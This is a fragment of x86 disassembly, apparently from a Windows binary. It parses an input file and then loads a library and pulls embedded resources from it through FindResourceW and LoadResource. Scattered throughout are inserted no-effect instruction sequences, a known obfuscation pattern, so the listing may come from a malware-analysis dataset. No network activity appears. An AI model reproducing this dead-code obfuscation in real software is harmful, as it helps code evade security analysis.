mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
movsx ecx, byte [eax]
cmp ecx, 0x28
jne 0x40498d
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fda0
mov byte [eax], 0x61
jmp 0x40489d
jmp 0x404878
push 1
push 0x40
push 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x500], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
lea ecx, [ebp - 0xa18]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x728]
call fcn.0040e4d0
lea ecx, [ebp - 0xa18]
call fcn.0040f630
push 0x41b600
lea ecx, [ebp - 0x150]
call fcn.0040ec80
mov byte [ebp - 0x1d], 0
mov edx, dword [ebp - 0x728]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx ecx, al
test ecx, ecx
je 0x404da0
push 2
push 0
push 0
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea edx, [ebp - 0xcf0]
push edx
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
mov ecx, eax
call fcn.0040fe80
mov dword [ebp - 0x134], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
lea ecx, [ebp - 0x240]
call fcn.0040ed50
push 1
push 1
lea ecx, [ebp - 0xd98]
call fcn.0040e7d0
cmp dword [ebp - 0x134], 0
je 0x404d7d
mov eax, dword [ebp - 0x134]
push eax
lea ecx, [ebp - 0x240]
call fcn.00417470
mov ecx, dword [ebp - 0x134]
xor edx, edx
push edx
push ecx
push 0
lea ecx, [ebp - 0x240]
call fcn.0040fda0
push eax
lea ecx, [ebp - 0x728]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0x728]
call fcn.004141a0
lea eax, [ebp - 0x240]
push eax
lea ecx, [ebp - 0xa30]
push ecx
call fcn.00407290
add esp, 8
push eax
lea ecx, [ebp - 0x240]
call fcn.0040fa90
lea ecx, [ebp - 0xa30]
call fcn.0040f630
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x394], esp
push 0x42045c
call fcn.0040eb10
lea edx, [ebp - 0x240]
push edx
lea eax, [ebp - 0xa48]
push eax
call fcn.004075f0
add esp, 0x20
push eax
lea ecx, [ebp - 0x240]
call fcn.0040fa90
lea ecx, [ebp - 0xa48]
call fcn.0040f630
lea ecx, [ebp - 0x240]
push ecx
lea ecx, [ebp - 0xd98]
call fcn.00417f80
mov edx, dword [ebp - 0xd98]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0xd98]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
movzx ecx, al
test ecx, ecx
jne 0x404d7b
lea ecx, [ebp - 0x228]
call fcn.0040ed50
lea edx, [ebp - 0x228]
push edx
lea eax, [ebp - 0xd98]
push eax
call fcn.0040dd50
add esp, 8
lea ecx, [ebp - 0x228]
call fcn.004144c0
movzx ecx, al
test ecx, ecx
je 0x404ba8
lea ecx, [ebp - 0x228]
call fcn.0040f630
jmp 0x404b47
mov byte [ebp - 0x41], 0
push 0
push 0x41b604
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0xac0]
push eax
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 1
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b608
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0xaa8]
push edx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 2
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b60c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0xa90]
push ecx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 4
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b610
lea edx, [ebp - 0x150]
push edx
lea eax, [ebp - 0xa78]
push eax
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 8
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
push 0
push 0x41b614
lea ecx, [ebp - 0x150]
push ecx
lea edx, [ebp - 0xa60]
push edx
call fcn.0040bf70
add esp, 0xc
or dword [ebp - 0x1c], 0x10
push eax
lea ecx, [ebp - 0x228]
call fcn.004148f0
cmp eax, 0xffffffff
jne 0x404cba
mov dword [ebp - 0x1c4], 0
jmp 0x404cc4
mov dword [ebp - 0x1c4], 1
mov al, byte [ebp - 0x1c4]
mov byte [ebp - 0x7d], al
mov ecx, dword [ebp - 0x1c]
and ecx, 0x10
je 0x404ce4
and dword [ebp - 0x1c], 0xffffffef
lea ecx, [ebp - 0xa60]
call fcn.0040f630
mov edx, dword [ebp - 0x1c]
and edx, 8
je 0x404cfb
and dword [ebp - 0x1c], 0xfffffff7
lea ecx, [ebp - 0xa78]
call fcn.0040f630
mov eax, dword [ebp - 0x1c]
and eax, 4
je 0x404d12
and dword [ebp - 0x1c], 0xfffffffb
lea ecx, [ebp - 0xa90]
call fcn.0040f630
mov ecx, dword [ebp - 0x1c]
and ecx, 2
je 0x404d29
and dword [ebp - 0x1c], 0xfffffffd
lea ecx, [ebp - 0xaa8]
call fcn.0040f630
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x404d40
and dword [ebp - 0x1c], 0xfffffffe
lea ecx, [ebp - 0xac0]
call fcn.0040f630
movzx eax, byte [ebp - 0x7d]
test eax, eax
je 0x404d4c
mov byte [ebp - 0x41], 1
movzx ecx, byte [ebp - 0x41]
test ecx, ecx
jne 0x404d5a
mov byte [ebp - 0x1d], 1
jmp 0x404d6b
lea edx, [ebp - 0x228]
push edx
mov ecx, 0x420474
call fcn.00416650
lea ecx, [ebp - 0x228]
call fcn.0040f630
jmp 0x404b47
jmp 0x404d88
lea ecx, [ebp - 0x728]
call fcn.004141a0
lea ecx, [ebp - 0xd98]
call fcn.00410180
lea ecx, [ebp - 0x240]
call fcn.0040f630
jmp 0x404da4
mov byte [ebp - 0x1d], 1
movzx eax, byte [ebp - 0x1d]
test eax, eax
jne 0x404dc2
mov ecx, 0x420474
call fcn.00414520
movzx ecx, al
cmp ecx, 1
jne 0x404dc2
mov byte [ebp - 0x1d], 1
push edx
xor edx, esi
mov edx, 0x67b66b7b
sbb edx, edx
sbb edx, ebx
nop
pop edx
mov dword [ebp - 0xc4], 0
jmp 0x404deb
mov edx, dword [ebp - 0xc4]
add edx, 1
mov dword [ebp - 0xc4], edx
mov ecx, 0x420474
call fcn.00417ef0
cmp dword [ebp - 0xc4], eax
jae 0x404e59
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x398], esp
push 0x42045c
call fcn.0040eb10
mov eax, dword [ebp - 0xc4]
push eax
mov ecx, 0x420474
call fcn.0040fe40
push eax
lea ecx, [ebp - 0xad8]
push ecx
call fcn.004075f0
add esp, 0x20
push eax
mov edx, dword [ebp - 0xc4]
push edx
mov ecx, 0x420474
call fcn.0040fe40
mov ecx, eax
call fcn.0040fa90
lea ecx, [ebp - 0xad8]
call fcn.0040f630
jmp 0x404ddc
movzx eax, word [0x4203b0]
cmp eax, 0x50
je 0x404e79
mov cx, word [0x4203b0]
add cx, 1
mov word [0x4203b0], cx
jmp 0x404e59
push ebx
mov ebx, 0x127f7944
mov ebx, 0x1d4a4494
sbb ebx, esi
pop ebx
call fcn.00407990
movzx edx, al
test edx, edx
jne 0x404faa
mov eax, dword [ebp - 0x40]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x30]
push edx
lea ecx, [ebp - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x670]
call fcn.004141e0
mov dword [ebp - 0x210], 0
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x210]
jmp 0x406a84
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x39c], esp
push 0x41b3b6
call fcn.0040ec80
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004093b0
add esp, 0x20
mov dword [ebp - 0x38], eax
push ebp
sub ebp, ecx
mov ebp, 0x1f274a5c
sub ebp, ebx
sub ebp, edi
nop
pop ebp
movzx edx, byte [ebp - 0x1d]
test edx, edx
je 0x4050ed
push ebx
add ebx, ebp
mov ebx, 0x8892054
mov ebx, 0x76112b78
pop ebx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3a0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3a4], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x4050df
push ebp
and ebp, eax
mov ebp, 0x2b14491a
mov ebp, 0x1e546d9
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3a8], esp
push 0x41b3b7
call fcn.0040ec80
push 1
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3ac], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3b0], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3b4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3b8], esp
push 0x42045c
call fcn.0040eb10
push 0
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
push ecx
xor ecx, edx
mov ecx, 0x5fc952df
mov ecx, 0x208b754f
pop ecx
cmp dword [ebp - 0x38], 0
jne 0x40538b
push 0
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3bc], esp
lea edx, [ebp - 0x578]
push edx
call fcn.0040eb10
lea eax, [ebp - 0x560]
push eax
call fcn.00408e10
add esp, 0x24
lea ecx, [ebp - 0x560]
call fcn.004144c0
movzx ecx, al
test ecx, ecx
je 0x405141
mov dword [ebp - 0x38], 1
jmp 0x4051c7
mov byte [ebp - 0x42], 1
mov dword [ebp - 0x114], 0
jmp 0x405160
mov edx, dword [ebp - 0x114]
add edx, 1
mov dword [ebp - 0x114], edx
lea ecx, [ebp - 0x560]
call fcn.00417e50
cmp dword [ebp - 0x114], eax
jae 0x40519e
mov eax, dword [ebp - 0x114]
push eax
lea ecx, [ebp - 0x560]
call fcn.0040fda0
movsx ecx, byte [eax]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
add esp, 4
test eax, eax
jne 0x40519c
mov byte [ebp - 0x42], 0
jmp 0x40519e
jmp 0x405151
movzx edx, byte [ebp - 0x42]
test edx, edx
jne 0x4051af
mov dword [ebp - 0x38], 1
jmp 0x4051c7
lea ecx, [ebp - 0x560]
call fcn.00413f90
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov dword [ebp - 0x38], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c0], esp
push 0x41b3bb
call fcn.0040ec80
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.004094b0
add esp, 0x24
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c4], esp
push 0x41b3c1
call fcn.0040ec80
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.004096a0
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3c8], esp
push 0x41b3c2
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004097b0
add esp, 0x20
push edx
mov edx, 0xa5211b5
mov edx, 0x7fe5dd6
sub edx, eax
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3cc], esp
push 0x41b3c3
call fcn.0040ec80
push 1
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3d0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3d4], esp
push 0x42045c
call fcn.0040eb10
push 3
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3d8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3dc], esp
push 0x42045c
call fcn.0040eb10
push 3
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
push ebx
mov ebx, 0x1d06437
mov ebx, 0x35466390
sbb ebx, ebx
pop ebx
push edi
mov edi, 0x6c3251a3
or edi, eax
and edi, ecx
sbb edi, eax
nop
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3e0], esp
push 0x41b3c6
call fcn.0040ec80
push 1
push 1
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3e4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3e8], esp
push 0x42045c
call fcn.0040eb10
push 4
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x3ec], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f0], esp
push 0x42045c
call fcn.0040eb10
push 4
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
lea ecx, [ebp - 0x560]
call fcn.0040f630
mov edx, dword [ebp - 0x40]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x670]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x670]
call fcn.004141e0
push esi
sbb esi, edx
sub esi, edi
sub esi, ebx
sbb esi, ebx
and esi, esp
and esi, edi
pop esi
push ebx
mov ebx, 0x3b9710ea
mov ebx, 0x38cf0667
sub ebx, ebx
pop ebx
cmp dword [ebp - 0x38], 0
je 0x40561d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f4], esp
push 0x41b3c7
call fcn.0040ec80
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.004098c0
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3f8], esp
push 0x41b3cb
call fcn.0040ec80
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.00409a60
add esp, 0x20
mov byte [ebp - 0x1e], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x3fc], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x400], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405515
push esi
mov esi, 0x6a14f86
mov esi, 0x62761ab7
sub esi, ecx
pop esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x404], esp
push 0x420480
call fcn.0040eb10
push 0
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x408], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x40c], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x410], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x414], esp
push 0x42045c
call fcn.0040eb10
push 1
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x40550f
jmp 0x405513
mov byte [ebp - 0x1e], 1
jmp 0x405519
mov byte [ebp - 0x1e], 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x418], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x41c], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x40560d
push edx
mov edx, 0x5fb031c4
mov edx, 0x32a5327f
and edx, esi
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x420], esp
push 0x4203b4
call fcn.0040eb10
push 0
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x424], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x428], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x42c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x430], esp
push 0x42045c
call fcn.0040eb10
push 2
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405607
jmp 0x40560b
mov byte [ebp - 0x1e], 1
jmp 0x405611
mov byte [ebp - 0x1e], 1
movzx eax, byte [ebp - 0x1e]
test eax, eax
jne 0x40561d
mov byte [ebp - 0xd], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x434], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x438], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x40570d
push edx
mov edx, 0x6e0a6732
mov edx, 0x571d3ed5
xor edx, ebx
pop edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x43c], esp
push 0x41b3d3
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x440], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x444], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x448], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x44c], esp
push 0x42045c
call fcn.0040eb10
push 7
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x40570d
mov byte [ebp - 0xd], 0
push edx
mov edx, 0x59a40d82
or edx, esi
mov edx, 0x159c2af0
pop edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x450], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x454], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x40580b
push esi
mov esi, 0x291c3787
mov esi, 0x700d6022
and esi, ebx
pop esi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x458], esp
push 0x41b3e2
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x45c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x460], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x464], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x468], esp
push 0x42045c
call fcn.0040eb10
push 6
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x40580b
mov byte [ebp - 0xd], 0
push edx
sub edx, esi
mov edx, 0x6b0855c6
mov edx, 0x6ac64aa9
pop edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x46c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x470], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x405909
push ecx
and ecx, edx
add ecx, edi
mov ecx, 0x272f6992
sub ecx, ebp
nop
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x474], esp
push 0x41b3e3
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x478], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x47c], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x480], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x484], esp
push 0x42045c
call fcn.0040eb10
push 0xa
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x405909
mov byte [ebp - 0xd], 0
push ebx
sbb ebx, esp
or ebx, edi
mov ebx, 0x11170c70
xor ebx, esp
nop
pop ebx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x488], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x48c], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.00406af0
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x405a07
push ebp
and ebp, ebp
mov ebp, 0x7355000d
sub ebp, eax
and ebp, edi
nop
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x490], esp
push 0x41b3fd
call fcn.0040ec80
push 0
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x494], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x498], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x4203fc
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x49c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4a0], esp
push 0x42045c
call fcn.0040eb10
push 0xb
mov ecx, 0x420438
call fcn.0040fe40
push eax
push esi
call fcn.004075f0
add esp, 0x20
call fcn.004089a0
add esp, 0x54
movzx eax, al
test eax, eax
jne 0x405a07
mov byte [ebp - 0xd], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1cc], ecx
mov edx, dword [ebp - 0x1cc]
push edx
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
push ecx
mov ecx, 0x6a577205
or ecx, edi
sub ecx, edx
add ecx, ecx
nop
pop ecx
cmp dword [ebp - 0x2c], 0
jne 0x405a79
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x4c], 1
jmp 0x405a8b
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
push ecx
lea edx, [ebp - 0xaf0]
push edx
call fcn.004181b0
add esp, 8
push eax
push 0x41b618
lea eax, [ebp - 0x318]
push eax
call fcn.0040c1b0
add esp, 0xc
lea ecx, [ebp - 0xaf0]
call fcn.0040f670
push 3
lea ecx, [ebp - 0x318]
call fcn.00413fd0
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x405b43
cmp dword [ebp - 0x4c], 0x6e
jne 0x405b31
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x318]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x318]
call fcn.0040f670
jmp 0x405a82
cmp dword [ebp - 0x4c], 0x6e
jne 0x405b9f
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebp
mov ebp, 0x47696afe
add ebp, ecx
add ebp, ecx
add ebp, esi
nop
pop ebp
lea ecx, [ebp - 0x318]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x318]
call fcn.0040f670
jmp 0x405bbc
push ebx
mov ebx, 0x1c216bea
sbb ebx, esp
or ebx, esp
or ebx, eax
nop
pop ebx
mov ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jne 0x405c25
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x405c7c
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push esi
add esi, ecx
mov esi, 0x2d49175c
add esi, esi
sub esi, esp
nop
pop esi
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
